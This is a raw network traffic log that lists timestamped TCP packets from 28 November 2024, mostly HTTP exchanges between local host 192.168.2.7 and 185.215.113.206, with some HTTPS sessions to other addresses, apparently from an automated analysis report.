Nov 28, 2024 11:05:34.436037064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.436083078 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.436148882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.436189890 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.437083006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.437145948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.437171936 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.437215090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.438155890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.438216925 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.438266993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.438308954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.439188957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.439250946 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.439286947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.439333916 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.440274954 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.440329075 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.440382957 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.440426111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.441302061 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.441364050 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.441390991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.442094088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.442327976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.442369938 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.442446947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.442486048 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.443344116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.443388939 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.443466902 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.444433928 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.444489002 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.444580078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.445087910 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.445487976 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.445537090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.445576906 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.445630074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.446526051 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.446583033 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.446621895 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.446767092 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.447566986 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.447686911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.447736025 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.448636055 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.448699951 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.448714018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.448806047 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.449702978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.449757099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.449795961 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.450696945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.450747013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.450825930 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.451760054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.451818943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.451865911 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.451899052 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.452836990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.452929020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.452974081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.480881929 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.480901957 CET	443	49864	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.495539904 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:34.495857954 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:34.495892048 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:34.496268034 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:34.497332096 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:34.497442961 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:34.497601986 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:34.497617006 CET	49856	443	192.168.2.7	4.152.133.8
Nov 28, 2024 11:05:34.497627020 CET	443	49856	4.152.133.8	192.168.2.7
Nov 28, 2024 11:05:34.528893948 CET	49864	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.599740028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.599780083 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.599801064 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.599821091 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.600032091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.600085974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.600123882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.600162029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.601061106 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.601157904 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.601178885 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.601195097 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.602159977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.602217913 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.602330923 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.602385998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.602933884 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.602983952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.603131056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.603188992 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.603912115 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.603965044 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.604104996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.604146957 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.605016947 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.605070114 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.605087996 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.605137110 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.605997086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.606070995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.606137991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.606178999 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.607053995 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.607105970 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.607120991 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.607162952 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.608129025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.608177900 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.608242035 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.608366013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.609138012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.609189987 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.609236002 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.609359980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.610188007 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.610245943 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.610306025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.610378027 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.611296892 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.611380100 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.611385107 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.611423016 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.612322092 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.612369061 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.612401009 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.612437963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.613356113 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.613399029 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.613455057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.613507032 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.614384890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.614504099 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.614551067 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.615432978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.615478039 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.615545034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.615592003 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.616472006 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.616497993 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.616519928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.616534948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.617511034 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.617562056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.617623091 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.617666960 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.618370056 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.618570089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.618616104 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.618676901 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.618724108 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.619021893 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.619060993 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.619605064 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.619654894 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.619657040 CET	49858	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.619669914 CET	443	49858	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.619692087 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.619744062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.620714903 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.620831966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.620837927 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.620881081 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.621721983 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.621814013 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.621814966 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.621855974 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.622775078 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.622823954 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.622870922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.622914076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.623826981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.623928070 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.623981953 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.624885082 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.624941111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.624991894 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.625072002 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.625893116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.625940084 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.626045942 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.626104116 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.627013922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.627058029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.627063990 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.627103090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.628006935 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.628062010 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.628128052 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.628202915 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.629235029 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.629266977 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.629303932 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.629321098 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.630227089 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.630274057 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.630311012 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.630348921 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.631226063 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.631263018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.631283998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.631299973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.631582975 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.631992102 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.632025003 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.632225037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.632275105 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.632414103 CET	49862	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.632421970 CET	443	49862	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.633205891 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.633285046 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.633301020 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.633338928 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.633339882 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.633352995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.633372068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.633708954 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.633739948 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.634249926 CET	49861	443	192.168.2.7	13.107.246.63
Nov 28, 2024 11:05:34.634257078 CET	443	49861	13.107.246.63	192.168.2.7
Nov 28, 2024 11:05:34.634325981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.634375095 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.634428978 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.634468079 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.635416031 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.635773897 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.635776997 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.635811090 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.636405945 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.636475086 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.636495113 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.636511087 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.637440920 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.637489080 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.637518883 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.637552023 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.638508081 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.638556957 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.639031887 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.639076948 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.639578104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.639590979 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.639627934 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.640562057 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.640675068 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.640930891 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.640974998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.641664028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.641731977 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.641839981 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.641886950 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.642685890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.642735004 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.642899990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.642940998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.643821955 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.643862963 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.643918037 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.643973112 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.644889116 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.644982100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.645026922 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.645818949 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.645903111 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.646039963 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.646081924 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.646908045 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.646954060 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.647226095 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.647269964 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.647937059 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.647983074 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.648309946 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.648354053 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.648956060 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.648998022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.649102926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.649142981 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.650021076 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.650070906 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.650089025 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.650125980 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.651068926 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.651118040 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.651253939 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.651386976 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.652127028 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.652178049 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.652688026 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.652749062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.653131008 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.653181076 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.653237104 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.653367043 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.654197931 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.654251099 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.654288054 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.654324055 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.658292055 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.658500910 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.658519983 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.658858061 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.659192085 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.659266949 CET	443	49866	23.209.72.33	192.168.2.7
Nov 28, 2024 11:05:34.700242996 CET	49866	443	192.168.2.7	23.209.72.33
Nov 28, 2024 11:05:34.801081896 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.801129103 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.801172018 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.801208973 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.801597118 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.801681995 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.801709890 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.801753998 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.802624941 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.802679062 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.802710056 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.802860022 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.803672075 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.803731918 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.804009914 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.804085970 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.804197073 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.804243088 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.805438042 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.805484056 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.805562019 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.805600882 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.806087017 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.806154013 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.806190968 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.807166100 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.807348967 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.807389975 CET	49782	80	192.168.2.7	185.215.113.206
Nov 28, 2024 11:05:34.808404922 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.808454990 CET	80	49782	185.215.113.206	192.168.2.7
Nov 28, 2024 11:05:34.808468103 CET	49782	80	192.168.2.7	185.215.113.206
